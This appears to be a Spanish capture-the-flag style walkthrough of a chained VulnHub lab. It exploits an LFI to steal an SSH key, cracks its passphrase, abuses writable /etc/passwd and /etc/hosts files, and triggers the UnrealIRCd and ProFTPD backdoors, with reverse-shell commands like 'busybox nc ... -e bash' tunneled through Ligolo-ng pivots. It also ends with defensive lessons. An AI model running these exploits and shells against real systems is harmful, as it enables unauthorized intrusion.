the_open_door
café
ESEN

Vulnerable Lab (1 · 4 · 5)

VulnHubMediaLinux192.168.1.135

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#pivoting#ligolo-ng#lfi#php-include#ssh-key#ssh2john#john#writable-passwd#linpeas#unrealircd#backdoor#cve-2010-2075#irc#pspy#cron#writable-hosts#dns-hijack#proftpd#cve-2010-4221#ftp#nmap-nse#reverse-shell#root
TL;DR. Un laboratorio de tres máquinas encadenadas por red (VulnHub Vulnerable 1, 4 y 5). La atacante solo alcanza el primer segmento; cada host es dual-homed y hace de puente al siguiente, así que la cadena se recorre pivotando con Ligolo-ng. Vulnerable1 (doctor): un LFI en Docmed lee la id_rsa de admin, ssh2john + john sacan la passphrase (unicorn) y un /etc/passwd escribible da root; su 2ª NIC abre 11.0.0.0/24. Vulnerable4 (real): la backdoor de UnrealIRCd 3.2.8.1 (CVE-2010-2075) da shell como server, y pspy revela un cron de root que resuelve un dominio por un /etc/hosts escribible, lo que se secuestra para recibir root; su 2ª NIC abre 10.0.0.0/24. Vulnerable5 (vtcsec): la backdoor de ProFTPD 1.3.3c (HELP ACIDBITCHEZ, CVE-2010-4221) ejecuta como root sin autenticación, cerrando la cadena.

Esquema de red

El entorno son tres máquinas en cadena. La atacante solo alcanza el primer segmento; cada host es dual-homed y hace de puente al siguiente. Vulnerable1 conecta 192.168.1.0/24 con 11.0.0.0/24; Vulnerable4, 11.0.0.0/24 con 10.0.0.0/24; y ahí vive Vulnerable5. El hilo conductor del laboratorio es el pivoting anidado: cada máquina comprometida no solo se rootea, sino que se convierte en el trampolín hacia la siguiente.

Esquema de red: atacante en 192.168.1.0/24, Vulnerable1 puentea a 11.0.0.0/24, Vulnerable4 a 10.0.0.0/24, y Vulnerable5

Vulnerable1: LFI a SSH y /etc/passwd escribible

Reconocimiento

Escaneo completo de puertos y detección de versiones sobre el primer objetivo, 192.168.1.135.

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.135
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.1.135 -oN targetedScan
22/tcp open  ssh   OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http  Apache httpd 2.4.38 ((Debian))
|_http-title: Docmed

Apache 2.4.38 no tiene un CVE crítico directo, así que el foco es la aplicación web Docmed. El SSH 7.9p1 es algo antiguo (serviría para enumeración de usuarios), pero no hará falta.

LFI en el parámetro include

Navegando la web, los recursos se cargan a través de un parámetro include que apunta al fichero mostrado (doctor-item.php?include=...). Ese patrón invita a probar un Local File Inclusion: apuntamos a /etc/passwd con una secuencia de path traversal.

Aplicación web Docmed con el parámetro include que carga recursos de forma dinámica

http://192.168.1.135/doctor-item.php?include=../../../../../../../../etc/passwd

Funciona: se lee /etc/passwd y aparece el usuario admin (admin:x:1000:1000). Como hay SSH abierto, el siguiente objetivo natural es su clave privada.

http://192.168.1.135/doctor-item.php?include=../../../../../../../../home/admin/.ssh/id_rsa

LFI leyendo /home/admin/.ssh/id_rsa: una clave RSA privada marcada como Proc-Type: 4,ENCRYPTED

Crackear la passphrase de la id_rsa

La clave existe y es legible, pero está cifrada (Proc-Type: 4,ENCRYPTED). La convertimos a un hash con ssh2john y lo atacamos por diccionario con john.

ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
unicorn          (id_rsa)
1g 0:00:00:00 DONE ... Session completed.

La passphrase es unicorn. Con los permisos correctos sobre la clave, entramos por SSH como admin.

chmod 600 id_rsa
ssh -i id_rsa admin@192.168.1.135
cat /home/admin/user.txt
0819e6dfb35db7c61353e4dce311b397

/etc/passwd escribible: root inmediato

Buscamos a mano ficheros críticos con permisos de escritura para nuestro usuario, empezando por /etc/passwd:

find / -writable -type f 2>/dev/null | grep -v '/proc/'
ls -l /etc/passwd

El fichero aparece con permiso de escritura: /etc/passwd es escribible. Subimos además LinPEAS (repo) con un servidor HTTP, que llega al mismo hallazgo y lo marca como crítico:

# atacante
python3 -m http.server 80
# víctima
wget http://192.168.1.80/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh

LinPEAS resaltando "Writable passwd file? /etc/passwd is writable"

Hashes inside passwd file? ........... No
Writable passwd file? ................ /etc/passwd is writable
Credentials in fstab/mtab? ........... No
Can I read shadow files? ............. No

/etc/passwd debería ser de solo lectura salvo para root. Si un usuario sin privilegios puede escribir en él, puede añadir una cuenta propia con UID/GID 0 (equivalente a root) y una contraseña conocida. Generamos el hash con openssl passwd, añadimos la línea y hacemos su.

pw=$(openssl passwd Password123)
echo "r00t:${pw}:0:0:root:/root:/bin/bash" >> /etc/passwd
su r00t
cat /root/root.txt

Nuevo usuario r00t con UID 0 añadido a /etc/passwd; su r00t da shell de root y se lee root.txt

dfde8cc67ed8819b2386dc74e472ecc6

Somos root en Vulnerable1.

Pivoting hacia 11.0.0.0/24

Ya como root, ip a muestra una segunda interfaz (ens35) en el segmento interno 11.0.0.2/24, que la atacante no alcanza directamente. Un ping sweep desde la víctima descubre un host vivo: 11.0.0.128 (que será Vulnerable4).

for i in $(seq 0 254); do timeout 0.2 ping -c 1 11.0.0.$i &>/dev/null && echo "[+] 11.0.0.$i ACTIVO"; done

Para enumerarlo con las herramientas de la atacante, montamos un túnel con Ligolo-ng (repo). En la atacante corre el proxy (expone una interfaz TUN); en la víctima, el agent, que se conecta de vuelta al proxy (evita conexiones entrantes hacia la red interna).

# atacante: descargar y preparar el túnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy --selfcert --laddr 0.0.0.0:1234
# víctima
./agent --connect 192.168.1.80:1234 --ignore-cert

En la consola del proxy seleccionamos la sesión y arrancamos el túnel.

Ligolo-ng: el agente root@doctor (192.168.1.135) se une al proxy y se inicia el túnel

ligolo-ng » INFO[0007] Agent joined.  name=root@doctor  remote="192.168.1.135:41464"
ligolo-ng » session
? Specify a session : 1 - root@doctor - 192.168.1.135:41464 - 000c297b8491
[Agent : root@doctor] » start
INFO[0020] Starting tunnel to root@doctor (000c297b8491)

Solo falta decirle al sistema que 11.0.0.0/24 se alcanza por la interfaz del túnel, y comprobar la conectividad.

sudo ip route add 11.0.0.0/24 dev ligolo
ping 11.0.0.128

Con la ruta añadida, el segmento interno queda alcanzable desde la atacante como si fuera local. La prueba de que el túnel funciona no es el ping sino lo que viene justo después: el escaneo de 11.0.0.128 devuelve puertos abiertos, y eso solo puede pasar si el tráfico está cruzando. El compromiso sigue en Vulnerable4.

Vulnerable4: backdoor de UnrealIRCd y cron con /etc/hosts

Reconocimiento (a través del túnel)

Vulnerable4 vive en 11.0.0.128, alcanzable gracias al túnel de Vulnerable1. Escaneamos a través de él.

Esquema de red: Vulnerable4 puentea 11.0.0.0/24 con 10.0.0.0/24, donde está Vulnerable5

nmap -sS -n -Pn -p- --min-rate 5000 --open 11.0.0.128
nmap -p22,80,6667,6697,8067 -sCV 11.0.0.128 -oN targetedScan
22/tcp   open  ssh   OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp   open  http  Apache httpd 2.4.38 ((Debian))  (Debian default page)
6667/tcp open  irc   UnrealIRCd
6697/tcp open  irc   UnrealIRCd (SSL)
8067/tcp open  irc   UnrealIRCd

Tres puertos de IRC sirviendo UnrealIRCd. La web es la página por defecto de Apache. UnrealIRCd, en su versión 3.2.8.1, arrastra una backdoor célebre, así que ese es el vector.

Backdoor de UnrealIRCd 3.2.8.1 (CVE-2010-2075)

En 2010 el tarball oficial de UnrealIRCd 3.2.8.1 fue troyanizado: el código incluye una backdoor que ejecuta como comando del sistema cualquier cadena que siga a un prefijo concreto, sin autenticación (CVE-2010-2075, CVSS 10). searchsploit unrealircd lo confirma; usamos un exploit de GitHub que automatiza el envío del payload.

git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor
cd UnrealIRCd-3.2.8.1-Backdoor

Como la conexión de vuelta debe atravesar el túnel, primero configuramos un listener en Ligolo-ng que reenvía el 4444 de la red interna al 4444 de la atacante, y ajustamos el exploit para que la reverse shell apunte a 11.0.0.2 (Vulnerable1, el primer pivote).

[Agent: root@doctor] >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# exploit.py
local_ip = '11.0.0.2'
local_port = '4444'

Lanzamos el exploit contra el puerto IRC y recibimos la shell como server.

python3 exploit.py -payload bash 11.0.0.128 6667

exploit.py enviado con éxito y penelope recibiendo la reverse shell de real como el usuario server

Exploit sent successfully!
[+] Got reverse shell from real ... server@real:~/irc/Unreal3.2$ whoami
server

Leemos la flag de usuario (cat user.txt) y pasamos a la escalada.

pspy: un cron que resuelve un dominio

Transferimos pspy64 (repo) (a través del reenvío de puertos por Vulnerable1) y monitorizamos procesos. Aparece un cron de root que ejecuta /opt/task, y este a su vez lanza ping -c 1 shelly.real.nyx.

wget http://11.0.0.2:8080/pspy64; chmod +x pspy64; ./pspy64

pspy64 mostrando UID=0 ejecutando /opt/task desde CRON y un ping a shelly.real.nyx

CMD: UID=0  PID=10578  /usr/sbin/CRON -f
CMD: UID=0  PID=10579  /bin/sh -c /opt/task
CMD: UID=0  PID=10580  /bin/bash /opt/task
CMD: UID=0  PID=10581  timeout 1 bash -c /usr/bin/ping -c 1 shelly.real.nyx

Secuestrar la resolución con /etc/hosts escribible

Leyendo /opt/task se entiende la lógica: hace ping al dominio shelly.real.nyx y, si responde, ejecuta nc -e /usr/bin/sh shelly.real.nyx 65000, es decir, una reverse shell hacia ese dominio en el puerto 65000. Como el script corre por el cron de root, esa shell sería de root, solo que el dominio no resuelve... salvo que controlemos su resolución. Y aquí /etc/hosts es escribible: lo sobrescribimos para que shelly.real.nyx apunte a 11.0.0.2 (que el reenvío de Ligolo lleva hasta nuestra atacante).

cat /opt/task
echo '11.0.0.2 shelly.real.nyx' > /etc/hosts

Contenido de /opt/task (ping al dominio y, si responde, nc -e /bin/sh dominio 65000) y /etc/hosts reescrito a 11.0.0.2

Configuramos el listener de retorno (65000 interno → 65000 atacante) y esperamos a que dispare el cron.

[Agent: root@doctor] >> listener_add --addr 0.0.0.0:65000 --to 127.0.0.1:65000
rlwrap nc -nlvp 65000

Cuando el cron ejecuta /opt/task, ahora el ping a shelly.real.nyx sí responde (somos nosotros), así que lanza el nc de vuelta y cae una shell de root. Tratamos la TTY y leemos la flag.

cat /root/root.txt

Shell de root en real: root.txt leída y una segunda interfaz ens35 en 10.0.0.2/24

593ba7e2d1e66b12e1488d6ea30c8787

Pivoting encadenado hacia 10.0.0.0/24

Como se ve en la captura anterior, real tiene una segunda interfaz (ens35) en 10.0.0.2/24. Un ping sweep descubre 10.0.0.128 (Vulnerable5). Desplegamos un segundo agente Ligolo-ng en Vulnerable4, encadenando el túnel: el agente se conecta a 11.0.0.2:1234, que un listener_add reenvía hasta el proxy de la atacante.

# en Vulnerable4
wget http://11.0.0.2:8080/agent -O /tmp/agent; chmod +x /tmp/agent
./agent --connect 11.0.0.2:1234 --ignore-cert
# en la atacante
sudo ip route add 10.0.0.0/24 dev ligolo
ping 10.0.0.128

Segunda sesión de Ligolo-ng activa desde real, iniciando el túnel hacia 10.0.0.0/24

[Agent : root@doctor] » stop
INFO[2873] Closing tunnel to root@doctor (000c297b8491)...
[Agent : root@real] » session
? Specify a session : 2 - root@real - 127.0.0.1:43914 - 000c29f62298
[Agent : root@real] » start
INFO[2880] Starting tunnel to root@real (000c29f62298)

Con la ruta añadida, el tercer segmento queda alcanzable igual que el anterior. De nuevo, quien lo demuestra no es el ping sino el escaneo que viene a continuación: si 10.0.0.128 devuelve puertos, el segundo túnel está llevando el tráfico. El compromiso termina en Vulnerable5.

Vulnerable5: backdoor de ProFTPD

Reconocimiento

Vulnerable5 vive en 10.0.0.128, accesible por el segundo túnel montado desde Vulnerable4. Es el tercer y último segmento de la cadena.

Esquema de red: Vulnerable5 en 10.0.0.0/24, alcanzado a través de Vulnerable4

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 10.0.0.128
nmap -p21,22,80 -sCV 10.0.0.128 -oN targetedScan
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux

El puerto 21 canta: ProFTPD 1.3.3c. Esa versión concreta arrastra una backdoor en su código fuente, lo que la convierte en acceso directo a root.

Acceso como root: backdoor de ProFTPD 1.3.3c

Como ocurrió con UnrealIRCd en Vulnerable4, la 1.3.3c de ProFTPD se distribuyó con el código fuente troyanizado. La backdoor se activa enviando la cadena HELP ACIDBITCHEZ al servicio FTP: a partir de ahí, el servidor ejecuta como comandos del sistema lo que se le escriba, con los privilegios del proceso, que aquí es root. No requiere autenticación ni escalada posterior (asociada a CVE-2010-4221, CVSS 10).

Nos conectamos al FTP con netcat, enviamos la cadena mágica y probamos whoami: responde root.

nc -vn 10.0.0.128 21
# dentro de la sesión FTP:
HELP ACIDBITCHEZ
whoami
hostname

Backdoor de ProFTPD activada con HELP ACIDBITCHEZ: whoami devuelve root en el host vtcsec

220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsec

Ya tenemos ejecución como root. Para cerrar el escenario de pivoting con un último salto visible, lanzamos una reverse shell a la atacante. Como estamos dos segmentos por dentro, configuramos un listener_add en Ligolo-ng que reenvía el 4443 interno al 4443 de la atacante, y disparamos un busybox nc hacia 10.0.0.2 (Vulnerable4, el segundo pivote).

[Agent: root@real] >> listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:4443

En la atacante, nc recibe la conexión reenviada en el 4443:

nc -nlvp 4443
# a través de la backdoor
busybox nc 10.0.0.2 4443 -e bash

Reverse shell recibida como root en la atacante, cerrando la cadena de pivoting de tres segmentos

# nc -vn 10.0.0.128 21
(UNKNOWN) [10.0.0.128] 21 (ftp) open
220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsec

La shell llega como root. En este caso la máquina no tiene flag de root; la identidad (vtcsec, whoami=root) confirma el compromiso.

Vector alternativo: nmap NSE

Si se tiene acceso directo a la máquina (sin túnel de por medio), la misma backdoor se explota con el script NSE ftp-proftpd-backdoor de nmap, que confirma y explota en un solo comando. Primero se comprueba la presencia:

nmap -p21 --script "ftp-vsftpd-backdoor,ftp-proftpd-backdoor" <ip> -oN targetedScan

Y después se ejecuta pasando el comando de reverse shell como argumento. Con Penelope a la escucha en el 4444:

penelope 4444
nmap -p21 --script ftp-proftpd-backdoor \
  --script-args cmd="busybox nc <atacante> 4444 -e bash" <ip>

Vector alternativo: el NSE ftp-proftpd-backdoor lanza la reverse shell y penelope la recibe como root@vtcsec

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from vtcsec~192.168.1.153-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
root@vtcsec:/# whoami
root

La conexión llega igualmente como root@vtcsec, demostrando que ambos vectores (manual con netcat y automatizado con NSE) explotan la misma backdoor con idéntico resultado. Con esto se completa el compromiso de los tres segmentos del laboratorio.

Cadena de ataque

[192.168.1.0/24]  Vulnerable1 (doctor)
  Docmed (:80) → LFI en include ── /etc/passwd (admin) + id_rsa cifrada
   └─ ssh2john + john (rockyou) ── passphrase "unicorn" ── SSH como admin
        └─ LinPEAS: /etc/passwd escribible ── usuario UID 0 ── su ── root
             └─ 2ª NIC (11.0.0.2) ── Ligolo-ng ─────────────────────┐
                                                                     ▼
[11.0.0.0/24]     Vulnerable4 (real)
  UnrealIRCd 3.2.8.1 (:6667) → backdoor CVE-2010-2075 ── shell como server
   └─ pspy: cron de root ejecuta /opt/task (ping shelly.real.nyx -> nc :65000)
        └─ /etc/hosts escribible ── dominio = 11.0.0.2 (vía pivote) ── root
             └─ 2ª NIC (10.0.0.2) ── segundo Ligolo-ng ─────────────┐
                                                                     ▼
[10.0.0.0/24]     Vulnerable5 (vtcsec)
  ProFTPD 1.3.3c (:21) → backdoor "HELP ACIDBITCHEZ" ── ejecución como root (sin auth)
   └─ busybox nc por los dos pivotes encadenados ── shell de root en la atacante

Lecciones aprendidas

  • El pivoting empieza por mirar las interfaces. La segunda NIC de un host comprometido es la llave del siguiente segmento; Ligolo-ng lo vuelve accesible sin proxychains, con una simple ruta hacia la TUN. Y se encadena: reutilizando los listeners de un pivote como reenvíos, el agente del siguiente host alcanza el proxy sin conexión directa. Aquí son tres segmentos y dos túneles anidados.
  • Un include sin lista blanca es LFI, y un LFI que llega a id_rsa es acceso. No basta con impedir /etc/passwd: cualquier fichero legible por el proceso web (claves, configs, logs) queda expuesto. Validar contra una lista blanca de recursos y desactivar allow_url_include. Y una clave privada cifrada no es segura si la passphrase es débil: ssh2john + un diccionario común la abren en segundos.
  • La cadena de suministro también es superficie de ataque. Las backdoors de UnrealIRCd 3.2.8.1 y ProFTPD 1.3.3c no fueron bugs, sino tarballs troyanizados en el sitio oficial. Dos servicios distintos, el mismo patrón: verificar hashes de lo que se instala no es paranoia.
  • Fallos de permisos = root sin exploit. Un /etc/passwd escribible (añadir cuenta UID 0) y un /etc/hosts escribible (secuestrar la resolución de un dominio en el que confía un cron de root) dan root sin una sola vulnerabilidad de software. Auditar los permisos de los ficheros críticos (644, propietario root).
  • Cuando el servicio corre como root, no hay escalada. El FTP de Vulnerable5 ejecuta la backdoor con UID 0, así que el acceso inicial ya es el máximo privilegio. Servicios expuestos deberían correr con el mínimo privilegio posible, nunca como root.
Cheatsheet de comandos 25 comandos

Repaso rápido